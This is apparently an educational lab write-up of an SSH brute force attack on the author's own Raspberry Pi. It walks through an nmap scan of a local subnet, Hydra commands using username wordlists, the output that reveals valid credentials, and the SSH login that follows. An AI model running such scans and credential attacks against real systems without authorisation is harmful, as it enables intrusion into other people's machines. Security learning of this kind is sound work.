

Experiment: SSH Brute Force Attack

In this experiment I will be performing an SSH brute force attack on a Raspberry Pi system.

DISCLAIMER!!

This experiment was conducted in a controlled environment for educational purposes only.
Unauthorized access to computer systems is illegal.

Using Hydra to perform the brute force attack

Steps:

1. Open terminal
2. Attain Ip address of the raspberry pi device

```
> sudo nmap -sV -O 192.168.11.0/24
```

```
Nmap scan report for 192.168.11.141
Host is up (0.0023s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.65 ((Debian))
443/tcp   open  ssl/https   Apache/2.4.65 (Debian)
5678/tcp  closed        rrac
MAC Address: 2C:CF:67:2E:B2:FA (Unknown)
Aggressive OS guesses: Linux 2.6.32 - 3.13 (95%), Linux 2.6.22 - 2.6.36 (93%), Lin
inux 2.6.39 (93%), Linux 3.10 (93%), Linux 2.6.32 (92%), Linux 3.2 - 4.9 (92%), Li
, Linux 2.6.18 (91%), Linux 3.16 - 4.6 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Ports open:

SSH - 22
HTTP - 80
SSL/HTTPS - 443
RRAC - 5678

3. Performing Brute force attack with Hydra

```
> hydra -l <username> -p <password> ssh://<target ip address>
```

```
> hydra -L <username wordlist> -P <password wordlist> ssh://<target ip address>
```

In this case we know the password but don't know the username. So we will be using the wordlist

/Seclists/Usernames/CommonAdminBase64.txt

```
> hydra -L /usr/share/wordlists/Seclists/Usernames/CommonAdminBase64.txt -p *****  
ssh://192.168.11.141
```

```
ubuntu@ubuntu:~$ hydra -L /usr/share/wordlists/SecLists/Usernames/CommonAdminBase64.txt -p *****  
://192.168.11.141  
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi  
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-05 12:56:09  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the  
ks: use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previou  
session found, to prevent overwriting, ./hydra.restore  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 113 login tries (l:113/p:1), ~8 tries per task  
[DATA] attacking ssh://192.168.11.141:22/  
[22][ssh] host: 192.168.11.141  login: *****:YWRtaW5pc3RyYXRvcg==  password: *****  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-05 12:56:46  
ubuntu@ubuntu:~$
```

Now performing ssh login after getting the credentials.

```
ubuntu@ubuntu:~$ ssh *****@192.168.11.141  
*****@192.168.11.141's password:  
Linux RASPi 6.12.47+rpi-rpi-2712 #1 SMP PREEMPT Debian 1:6.12.47-1+rpi1~bookworm (2025-09-16) aarch64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/*copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Wed Nov  5 12:21:30 2025  
  
Wi-Fi is currently blocked by rfkill.  
Use raspi-config to set the country before use.  
  
*****@RASPi:~ $
```